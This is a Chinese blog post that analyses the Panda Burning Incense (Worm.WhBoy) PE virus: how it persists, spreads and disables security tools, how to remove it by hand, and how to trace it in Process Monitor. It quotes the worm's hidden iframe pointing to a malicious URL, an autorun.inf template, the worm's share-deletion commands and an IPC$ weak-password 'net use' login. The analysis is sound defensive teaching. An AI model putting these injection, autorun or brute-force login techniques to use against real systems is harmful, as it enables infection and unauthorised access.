[系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析

您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

如果你想成为一名逆向分析或恶意代码检测工程师,或者对系统安全非常感兴趣,就必须要认真分析一些恶意样本。熊猫烧香病毒就是一款非常具有代表性的病毒,当年造成了非常大的影响,并且也有一定技术手段。本文将详细讲解熊猫烧香的行为机理,并通过软件对其功能行为进行分析,这将有助于我们学习逆向分析和反病毒工作。后续作者还将对其进行逆向调试,以及WannaCry勒索蠕虫、各种恶意样本及木马的分析。基础性文章,希望您喜欢!同时,本文部分实验参考姜晔老师的视频分析,真的非常佩服和值得去学习的一位老师。技术路上哪有享乐,为了提升安全能力,别抱怨,干就对了~

在这里插入图片描述

话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好的地方,可以联系我修改。基础性文章,希望对您有所帮助,作者的目的是与安全人共同进步,加油!也强烈推荐大家去看看参考文献的视频和书籍。

文章目录

  • 一.PE病毒概念
  • 二.什么是熊猫烧香病毒
  • 三.熊猫烧香病毒行为分析
  • 四.样本运行及查杀防御
  • 五.Procmon检测病毒行为
    • 1.软件基本介绍
    • 2.病毒行为检测
  • 六.总结

作者的github资源:

  • 系统安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

前文分析:

  • [系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向
  • [系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例
  • [系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战
  • [系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向破解
  • [系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏
  • [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
  • [系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
  • [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击
  • [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权
  • [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现
  • [系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)


一.PE病毒概念

首先简单给大家普及下PE病毒的基础概念和分类,方便大家理解熊猫烧香病毒的行为。

什么是PE病毒?
PE病毒是以Windows PE程序为载体,能寄生于PE文件或Windows系统的病毒程序。PE病毒数量非常之多,包括早起的CIH病毒,全球第一个可以破坏计算机硬件的病毒,它会破坏主办的BIOS,对其数据进行擦写修改。再比如熊猫烧香、机器狗等等,其危害非常之大。

在这里插入图片描述


什么叫感染?
说到病毒,不得不提感染。感染是指在尽量不影响目标程序(系统)正常功能的前提下,而使其具有病毒自身的功能。什么叫病毒自身的功能呢?一个病毒通常包括如下模块:

  • 感染模块: 被感人程序同样具备感染能力
  • 触发模块: 在特定条件下实施相应的病毒功能,比如日期、键盘输入等
  • 破坏模块
  • 其他模块

编写病毒的核心技术
如果我们要编写PE病毒,则需要掌握以下的关键技术:

  • 病毒的重定位
  • 获取API函数地址
  • 文件搜索
  • 内存映射文件
  • 病毒如何感染其他文件
  • 病毒如何返回到Host程序

PE病毒分类
以感染目标进行分类,包括:

  • 文件感染型
    将代码寄生在PE文件,病毒本身只是PE文件的一部分,依赖于感染目标,通常也叫HOST文件,控制权获得也是以目标程序运行来获得的。它分为传统感染型(以Win32汇编程序编写为主)和捆绑释放型(编写难度较低,通过高级语言均可编写,将目标程序和病毒程序捆在一起,和捆绑器有相似之处)。
  • 系统感染型
    将代码或程序寄生在Windows操作系统,该类病毒越来越多,它不感染具体文件,但是它会在操作系统中保存自己的实体。同时也可以通过系统启动的方法来获取控制权。传播途径包括:即时通信软件(如QQ尾巴)、U盘、光盘、电子邮件、网络共享、其他途径等。

熊猫烧香病毒属于捆绑释放型,其感染实现起来比较简单,目前很大一部分病毒程序都采用这种方法。捆绑释放型感染时将目标HOST程序作为数据存储在病毒体内,当执行病毒程序时,它先执行病毒程序,然后还原并执行HOST文件,从而保证被感染的程序本身能正常运行,不会引起一些异样。如下图所示,左边是一个正常程序(QQ),感染之后会将病毒放在前面,正常程序放在后面,程序运行之后,病毒会拿到控制权。但缺点是程序图标会显示前面的病毒程序,显示熊猫烧香,这是一个明显的被感染特征。

在这里插入图片描述


常见自启动方式
PE病毒运行之后,需要使用自启动技术保证下次开机再运行。常见的自启动方式包括:

  • 注册表中的键值

  • 特定路径的特定文件
    系统中的特定位置,如Explorer.exe(显示桌面)。

  • 利用系统自动播放机制Autorun.inf
    比如U盘病毒或光盘病毒就是利用U盘或光盘的自动播放功能。目前,也有一些U盘插入之后,不需要你去双击这个U盘,里面的程序就会自启动。

  • 在其他可执行文件嵌入少量触发代码
    比如修改引入函数节启动DLL病毒文件(添加相应结构,初始化代码触发),或在特定PE文件代码段插入触发代码等(只需定位可执行程序并运行)。

  • DLL劫持:替换已有DLL文件
    很多应用程序或操作系统执行时,都会去执行DLL文件,如果病毒将自身做成一个DLL文件,同时将系统DLL文件替换。可想而知,系统启动时,它是根据文件名启动的,此时病毒DLL文件就会拿到控制权,如果拿到控制权之后再进一步装载原始DLL文件,这样系统的本身机制也不会受到影响,隐蔽性更强。该方法非常常见,甚至有一些病毒程序将反病毒软件可依赖的DLL文件替换。

下图展示了Autoruns软件看到Windows操作系统进行自启动的选项。如果病毒本身能很好地结合这套机制,它可以做的事情非常多,并且具有很好的隐蔽性。

在这里插入图片描述

再比如我们之前分享的WinRAR漏洞(CVE-2018-20250),当恶意ACE文件被受害者解压之后,会释放恶意木马至指定目录(系统自启动文件夹),受害者重启电脑会执行恶意木马。如下图所示:

  • [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持

在这里插入图片描述


常见传播方式
一切可对外交互的渠道都可传播,包括:

  • 各类存储设备(软盘、光盘、U盘、移动硬盘、智能设备)
  • 各类网络通信方式(QQ、MSN、Email、淘宝旺旺、微信、微博等)
  • 各类网络连接方式(有线、wifi、蓝牙等)
  • 各类网络应用(迅雷、BT等)

在这里插入图片描述

比如通过可移动存储设备传播的非感染式病毒,即Autorun.inf。下图显示了Autorun.inf文件,如果文件存在U盘根目录,当我们双击这个U盘时,它就会触发对应的病毒,如果选择U盘盘符右键打开或打开资源管理器,这是进入的也是病毒程序。当然演示的是计算器程序。

[AutoRun]
open=mspaint.exe
shell\open=打开(&O)
shell\open\Command=calc.exe
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=calc.exe

在这里插入图片描述

最后展示Stuxnet震网事件的漏洞利用过程和启动方式,传统的Autorun方式很容易被禁止掉,而Stuxnet利用的是lnk漏洞(MS10-046),它会在目标U盘下放入lnk快捷方式及病毒程序(如DLL文件)。不管通过什么方式进入U盘,lnk文件会被解析从而触发漏洞,导致U盘中的病毒程序被执行,所以0Day漏洞也越来越多应用到安全攻击中。

在这里插入图片描述



二.什么是熊猫烧香病毒

熊猫烧香(Worm.WhBoy)是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,它不但能感染系统中exe、com、pif、src、html、asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件。该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。2006年10月16日由25岁的湖北武汉李俊编写,2007年1月初肆虐网络,它主要通过下载的文件传染传播。

在这里插入图片描述

2006-2007年,“熊猫烧香”可谓是轰动一时。时隔多年,当我们回过头再次来看该事件,“熊猫烧香”的破坏力远大于其技术含量,尤其是对网络信息安全产生深远的影响,毕竟它是第一个让中国普通用户对木马病毒有所认识和感知的。现在从技术角度来看,熊猫烧香病毒技术水平一般,但病毒作者在当时运用的各类技术手法还是值得安全人参考和借鉴的。

  • 首先其可以感染exe文件,也可以将以.gho结尾的文件删除
  • 其次是将源病毒感染到Web文件,使网页成为它传播的介质
  • 然后在传播层面,病毒作者使用众多传播途径
  • 最后是具备一定的对抗杀软能力

正如腾讯安全联合实验室文章说的一样(见参考文献),熊猫烧香病毒如果是放在现在,这些基本是所有病毒木马常见、必备的技术,但技术不可同日而语。随着人工智能、大数据、云计算区块链等先进技术的不断发展,病毒作者也将这些技术手段运用到各类安全攻击中危害大家。典型的包括:

  • 勒索病毒:在2017年5月12日,一款名为WannaCry勒索病毒通过MS17-010漏洞在全球范围大爆发,感染了大量的计算机。此后,Petya、Bad Rabbit、GlobeImposter等勒索病毒相继对企业及机构发起攻击。
  • 挖矿木马:伴随着比特币等虚拟数字货币交易火爆的同时,越来越多的人利用数字虚拟币交易大发横财,吸引大量黑产从业人员进入挖矿产业,这也是为什么2017年之后披露的挖矿木马攻击事件数量呈现出爆发式的增长。
  • APT攻击:当前鱼叉攻击、水坑攻击、远程可执行漏洞和密码爆破攻击等手段依然是APT攻击的最主要方式。未来,Fileless攻击、将通信的C&C服务器存放在公开的社交网站上、使用公开或者开源工具、多平台攻击和跨平台攻击将成APT攻击技术的主要发展趋势。
  • IoT攻击:黑客通常通过设备弱口令或者远程命令执行漏洞对IoT设备进行攻击,攻击者通过蠕虫感染或者自主的批量攻击来控制批量目标设备,构建僵尸网络,IoT设备成为了黑客最新热爱的武器。

除此之外,供应链攻击、AI对抗样本、视频语音欺骗等攻击延伸都是未来黑客技术的发展趋势,这些都应该引起我们足够的重视。这些病毒事件一方面会警醒我们网络空间安全,另一方面也会督促我们安全人员不断思考和对抗。未知攻,焉知防。


三.熊猫烧香病毒行为分析

熊猫烧香病毒有它的特殊性,也有它的通用性。下面结合第一部分PE病毒基础知识,介绍熊猫烧香病毒的基本行为。

(1) 自启动方式

  • 熊猫烧香病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项
    这种方式也是绝大部分病毒自启动所采用的方式。
  • 拷贝自身到所有驱动器根目录(盘符),命名为Setup.exe,在驱动器根目录生成autorun.inf文件,并把它设置为隐藏、只读、系统
    autorun.inf文件的作用是允许在双击磁盘时自动运行指定的某个文件,即运行Setup.exe。

注意,该Setup.exe文件被设置为隐藏、只读、系统,虽然我们可以查看“隐藏的项目”,但某些隐藏的系统文件仍然是看不到的。

在这里插入图片描述

我们需要进一步设置,取消勾选“隐藏保护的操作系统文件”,才能显示这类文件,如下图所示。而通常设置为隐藏的系统文件是较难被觉察的,尤其当这类文件被写入到某个指定的操作系统目录中,防不胜防。

在这里插入图片描述

在这里插入图片描述


(2) 感染与传播方式

  • 感染可执行文件
    熊猫烧香病毒会搜索并感染系统中特定目录外的所有.EXE / .SCR / .PIF / .COM等文件,将自身捆绑在被感染文件前端,并在尾部添加标记信息:.WhBoy{原文件名}.exe.{原文件大小}。注意,它感染的是特定目录外的,而某些系统目录是不去感染的,因为Windows系统某些可执行文件是有还原机制的,系统文件修改有时候会有报警提示。
  • 感染网页
    熊猫烧香病毒会查找系统以 .html 和 .asp 为后缀的文件,在里面插入网页标记,这个帧iframe会将另外一个URL嵌入到当前网页,并且宽度和高度设置为0(看不到)。嵌入页面后会利用如IE浏览器的漏洞来触发恶意代码,从而释放相应病毒出来。
 <iframe src=http://www.ac86.cn/66/index.htm width="0" height="0">
 iframe>
  • 通过弱口令传播
    这种传播方式非普遍,它会访问局域网共享文件夹将病毒文件拷贝到该目录下,并改名为GameSetup.exe(模拟游戏名称);通过弱口令猜测从而进入系统C盘。

(3) 自我隐藏

  • 禁用安全软件
    熊猫烧香病毒会尝试关闭安全软件(杀毒软件、防火墙、安全工具)的窗口、进程,比如包含360的名称等;删除注册表中安全软件的启动项;禁用安全软件的服务等操作。
  • 自动恢复“显示所有文件和文件夹”选项隐藏功能
    某些用户去看隐藏文件,会主动点击查看隐藏文件夹,但这个病毒会自动恢复隐藏。
  • 删除系统的隐藏共享(net share)
    Windows系统其实默认会开启隐藏共享 C$ ,比如早期的 IPC$ 管道等,通过net share命令可以删除隐藏共享。

IPC$ (Internet Process Connection)
在未经授权情况很难将木马拷贝到别人的电脑上。这里需要利用IPC $ 漏洞,调用445端口号实现。445端口中有个IPC $ ,称之为空连接,没有固定文件夹的共享;而C$ 、D$ 、E$ 代表分区共享,是有固定文件夹的。换句话说,445端口打开就相当于我们可以在局域网中轻松访问各种共享文件夹,如果您的电脑是弱密码,很容易就被攻破,这里使用IPC $ 暴力爆破。

IPC $ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC $ 是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000在提供了 IPC $ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$ 、D$ 、E$ …)和系统目录(C:\windows)共享。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。

推荐作者前文:[网络安全自学篇] 木马原理详解、远程服务器IPC $漏洞及木马植入实验

下图展示了使用NTscan软件暴力爆破,该软件支持远程连接IPC $和利用字典文件。运行软件,输入IP地址“10.1.1.2”,选择IPCsan连接共享“IPC $”,成功获取了密码“123.com”。接着与目标主机建立IPC $ 空连接。

net use \\10.1.1.2\ipc$ 123.com /user:administrator

在这里插入图片描述


(4) 破坏功能

  • 熊猫烧香病毒同时会开另一个线程连接某网站下载DDOS程序进行发动恶意攻击
    具有破坏功能,可开启附件攻击行为,熊猫烧香感染计算机台数非常多,它就能发动多台电脑发起DDOS攻击。
  • 删除扩展名为gho的文件,延长存活时间
    该文件是系统备份工具GHOST的备份文件,从而使用户的系统备份文件丢失。当用户中了病毒,想去恢复时就存在困难了。

这就是一个典型的病毒案例,当然现在很多病毒功能都具有相似性,它们有经济利益趋势。当然对于不同的病毒来说,如果它的目的不一样,其行为会存在很大差异。当然熊猫烧香病毒的隐蔽性不是很好,每一个感染者都会知道自己已被感染。



四.样本运行及查杀防御

首先,作者将熊猫烧香病毒拷贝到虚拟机系统中,注意一定不能真机去运行,更不能去破坏或伤害他人。该样本不会分享给大家,任何破坏行为都将受到严惩,我仅是从反病毒原理及防御方面进行技术分享。

  • 实验环境:Windows XP
  • 实验文件:熊猫烧香.exe

在这里插入图片描述


正如姜晔老师说的一样,手动查杀病毒基本流程如下:

  • 排查可疑进程
    因为病毒往往会创建出来一个或者多个进程,因此需要分辨出哪些进程是由病毒所创建,然后删除可疑进程。
  • 检查启动项
    病毒为了实现自启动,会采用一些方法将自己添加到启动项中,从而实现自启动,所以我们需要把启动项中的病毒清除。
  • 删除病毒
    在上一步的检查启动项中,我们就能够确定病毒主体的位置,这样就可以顺藤摸瓜,从根本上删除病毒文件。
  • 修复被病毒破坏的文件
    这一步一般来说无法直接通过纯手工完成,需利用相应的软件,不是我们讨论的重点。

为什么计算机中安装了杀毒软件,还要去手动查杀呢?
因为杀毒软件存在严重的滞后性,必须要等病毒工程师抓取对应样本,并进行分析总结病毒的特征码,再加入杀软病毒库后才能识别病毒,但病毒会存在各种变种,因此手动查杀也是必要的。同时,这对我们反病毒工程师来说也是认识和熟悉病毒的过程,在技术上是非常必要的。这也是现在为什么很多云沙箱、云杀软、动态更新的技术不断出现。


实验目的:

  • 学会基本的手动查杀理论
  • 学会利用DOS命令行删除病毒及其影响

第一步,运行病毒前打开任务管理器观察此时打开的进程。

在这里插入图片描述


第二步,运行程序,可以发现任务管理器就自动关闭,并且无法再次打开(总一闪而过)。
那么,我们怎么查看系统中的进程呢?

在这里插入图片描述


第三步,打开CMD命令提示符,输入命令“tasklist”查看。

在这里插入图片描述

显示进程信息如下图所示,我们发现多出来“spoclsv.exe”进程。该程序即为熊猫烧香病毒创建出来的进程。

在这里插入图片描述


第四步,输入“taskkill /f /im 1684”命令强制结束这个进程,其中“/f”表示强制执行,“/im”表示文件镜像,“1684”对应PID值。如下图所示,成功杀掉该进程。

在这里插入图片描述


第五步,排查可疑进程之后,我们接下来查询启动项,在运行中输入msconfig。

在这里插入图片描述

显示如下图所示,可以看到“spoclsv”启动项。

在这里插入图片描述


第六步,检测该启动项创建的位置及键值。

  • C:\WINDOWS\System32\drivers\spoclsv.exe
  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

在这里插入图片描述

在这里插入图片描述


第七步,我们打开注册表查看对应的值,发现创建了一个svcshare的值,并启动对应exe程序。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

接着我们打开这个目录查看。

  • C:\WINDOWS\System32\drivers\spoclsv.exe

在这里插入图片描述


第八步,取消勾选“spoclsv”启动项,点击“确定”。

在这里插入图片描述

先暂时不重启计算机。

在这里插入图片描述

接着刷新注册表,发现“spoclsv”已经消失,表示启动项已经成功被删除。

在这里插入图片描述


第九步,我们需要删除这个病毒,这里使用CMD命令行对其进行删除。

在这里插入图片描述

输入“del /f spoclsv.exe”强制删除该文件,显示如下图所示,成功删除。

在这里插入图片描述

在这里插入图片描述

写到这里,我们是否真的成功清除了熊猫烧香病毒呢?
NO,该病毒还将自身复制到每一个磁盘的根目录下。


第十步,删除隐藏系统只读的文件。
输入“dir /ah”查看隐藏的文件,发现autorun.inf和setup.exe。

在这里插入图片描述

接着强制删除这两个文件,也可以将文件属性修改后删除。

  • del /ah /f autorun.inf
  • del /ah /f setup.exe
  • attrib -s -r -h setup.exe:消除隐藏、系统、只读属性

在这里插入图片描述

重启系统后,所有手动查杀病毒的工作完毕,我们的系统就又恢复正常了。



五.Procmon检测病毒行为

接着我们通过Process Monitor工具来监控熊猫烧香病毒的行为。

1.软件基本介绍

Process Monitor是微软推荐的一款系统监视工具,能够实时显示文件系统、注册表(读写)、网络连接与进程活动的高级工具。它整合了旧的Sysinternals工具、Filemon与Regmon,其中Filemon专门用来监视系统中的任何文件操作过程,Regmon用来监视注册表的读写操作过程。

  • Filemon:文件监视器
  • Regmon:注册表监视器

同时,Process Monitor增加了进程ID、用户、进程可靠度等监视项,可以记录到文件中。它的强大功能足以使Process Monitor成为您系统中的核心组件以及病毒探测工具。

在这里插入图片描述

Process Monitor可以帮助使用者对系统中的任何文件、注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件、病毒及木马。

下载Procmon.exe软件后,直接双击启动,Procmon会自动扫描分析系统当前程序的运行情况。其中,下图框出来的4个常用按钮作用分别为:捕获开关、清屏、设置过滤条件、查找。最后5个并排的按钮,是用来设置捕获哪些类型的事件,分别表示注册表的读写、文件的读写、网络的连接、进程和线程的调用和配置事件。一般选择前面2个,分别为注册表和文件操作。

在这里插入图片描述

输出结果中包括序号、时间点、进程名称、PID、操作、路径、结果、描述等,监控项通常包括:

  • 文件系统
  • 注册表
  • 进程:跟踪所有进程和线程的创建和退出操作
  • 剖析事件:扫描系统中所有活动线程,为每个线程创建一个剖析事件,记录它耗费的核心和用户CPU时间,以及该线程自上次剖析事件以来执行了多少次上下文转换

更多用法推荐作者的前文,下面直接讲解针对熊猫烧香病毒的行为分析。

  • [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看


2.病毒行为检测

第一步,打开Procmon.exe软件。

在这里插入图片描述


第二步,在筛选器中选择打开Procmon.exe软件,Filter中选择过滤病毒的名称“setup.exe”。

  • Process Name is setup.exe

在这里插入图片描述

然后点击添加和应用。

在这里插入图片描述


第三步,运行熊猫烧香病毒,可以看到它捕获了非常多的病毒信息。

在这里插入图片描述


第四步,首先查看病毒的Process Tree(进程树)。

在这里插入图片描述

可以看到setup.exe的熊猫烧香病毒程序,并衍生出一个spoclsv.exe程序。位置信息为:

  • C:\WINDOWS\system32\drivers\spoclsv.exe

在这里插入图片描述


第五步,发现spoclsv.exe程序三次打开cmd,运行net share命令删除各个磁盘共享及系统根目录共享。

  • net share C$ /del /y
  • net share Z$ /del /y:虚拟机共享功能盘
  • net share admin$ /del /y

此时我们总结病毒的行为:

  • 第1点行为:创建spoclsv.exe程序并位于WINDOWS\system32\drivers目录
  • 第2点行为:命令行模式下使用net share解除共享功能

在这里插入图片描述


第六步,回到Procmon软件进行深入分析。关闭其他结果,只显示注册表行为。

在这里插入图片描述

接着在过滤器中仅显示对注册表修改的值,如下图所示。

  • Operation is RegSetValue

主要修改的是Seed项,就是随机数种子的生成。但仅仅通过这个信息无法推测注册表的行为,所以该病毒对注册表并没有什么实质性影响。

在这里插入图片描述


第七步,查看病毒对文件的修改。
在过滤器中删除注册表的修改,然后检测熊猫烧香病毒是否创建文件,创建文件也是病毒的重要手段。

  • Operation is CreateFile

在这里插入图片描述

可以看到主要创建的文件是WINDOWS\system32\drivers目录下,其他并没有特别的东西。所以setup.exe程序对我们的系统并没有实质性影响,主要影响还是spoclsv.exe程序,所以下一步操作就是监控spoclsv.exe程序。

在这里插入图片描述


第八步,在过滤器中删除对setup.exe的监控,设置对spoclsv.exe程序的监控。

  • Process Name is spoclsv.exe

在这里插入图片描述


第九步,在过滤器中查看spoclsv.exe删除注册表选项。

  • Operation is RegDeleteValue

在这里插入图片描述

从这些名称可以看到它们都是常用的杀毒软件名称,其位置是CurrentVersion的Run下面,即将杀毒软件的自动启项全部删除。

  • 第3点行为:删除安全类软件在注册表中自动启项

在这里插入图片描述


第十步,在过滤器中查看spoclsv.exe创建及设置的注册表键值。

  • Operation is RegCreateKey
  • Operation is RegSetValue

在这里插入图片描述

显示结果如下图所示,病毒设置了自启动项,要启动的本体是drivers目录下的spoclsv.exe。

  • 第4点行为:在注册表CurrentVersion\Run创建svcshare自启动项,每次开机时会自动运行病毒

在这里插入图片描述

继续查看,发现它对文件实现隐藏,设置该值后,即使我们在文件夹选项中选择显示所有文件和文件夹,也无法显示隐藏文件。

  • 第5点行为:禁用文件夹隐藏选项,修改注册表使得隐藏文件无法通过普通设置显示,从而隐藏病毒自身
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

在这里插入图片描述


第十一步,在过滤器中查看spoclsv.exe文件操作。

在这里插入图片描述

熊猫烧香病毒创建文件包括:

  • 在C:\WINDOWS\system32\drivers中创建spoclsv.exe
  • 磁盘根目录创建setup.exe与autorun.inf
  • 某些目录中创建Desktop_.ini文件

由于创建这些文件之后就对注册表的SHOWALL项进行了设置,使得隐藏文件无法显示,那么有理由相信,所创建出来的这些文件的属性都是“隐藏”的。

  • 第6点行为:将自身拷贝到根目录并命名为setup.exe,创建autorun.inf用于病毒的启动,这两个文件的属性都是“隐藏”。同时,会创建Desktop_.ini隐藏文件

在这里插入图片描述

在这里插入图片描述


第十二步,在过滤器中查看spoclsv.exe网络行为。
从监控结果可以看到,病毒会向局域网发送并接收信息,并不断尝试向外进行连接和发送数据包。

在这里插入图片描述

写到这里,我们基本已经分析了熊猫烧香的病毒行为,但这些行为仍然无法彻底了解病毒的行为,还需要通过OllyDbg逆向分析和IDA静态分析来实现。同时,熊猫烧香病毒还有一些其他的行为,包括:

  • 感染EXE文件,病毒会搜索并感染系统中特定目录外的所有.EXE/.SCR/.PIF/.COM文件,并将EXE执行文件的图标改为熊猫烧香的图标。
  • 试图用以弱口令访问局域网共享文件夹,如果发现弱口令共享,就将病毒文件拷贝到该目录下,并改名为GameSetup.exe,以达到通过局域网传播的功能。
  • 查找系统以.html和.asp为后缀的文件并在里面插入iframe,该网页中包含在病毒程序,一旦用户使用了未安装补丁的IE浏览器访问该网页就可能感染该病毒。
  • 删除扩展名为gho的文件,该文件是系统备份工具GHOST的备份文件,这样可使用户的系统备份文件丢失。


六.总结

写到这里,这篇文章就介绍完毕,希望对您有所帮助,最后进行简单的总结下。

  • PE病毒概念
  • 什么是熊猫烧香病毒
  • 熊猫烧香病毒行为分析
  • 样本运行及查杀防御
  • Procmon检测病毒行为

同时,请读者思考几个问题。

  • 病毒感染了多少文件,重装操作系统是否可以彻底清除病毒?
  • 如何编写程序迅速扫描出恶意样本需要实现的操作及行为。
  • 熊猫烧香病毒传播时的图标问题,是作者故意为之?!
  • 病毒在什么情况下需要进行图标替换?图标替换过程中可能会遇到哪些问题,如何解决?
  • 在无文件加载中,如果DLL没有实体文件,是否可以在内存中完成DLL加载?
  • 病毒运行一定要开启新的进程吗?
  • 如何编写感染性病毒的清除程序?其与系统感染性病毒的清除方法有何差异?

学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。

有点想家和女神了!月是故乡圆啊~接着加油。

2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

(By:Eastmount 2021-01-04 周一夜于武汉 http://blog.csdn.net/eastmount/ )


参考文献:
姜晔老师真的非常佩服和值得去学习,希望自己和大家的技术能不断提升,加油!

  • [1] [网络安全自学篇] 木马原理详解、远程服务器IPC $漏洞及木马植入实验
  • [2] 姜晔老师的技术空间目录 - CSDN
  • [3] 腾讯安全联合实验室 - 知乎文章
  • [4] [网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
  • [5] 姜晔老师技术分享 - B站
  • [6] [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看

你可能感兴趣的:(系统安全与恶意代码分析,系统安全,逆向分析,病毒分析,PE文件,熊猫烧香)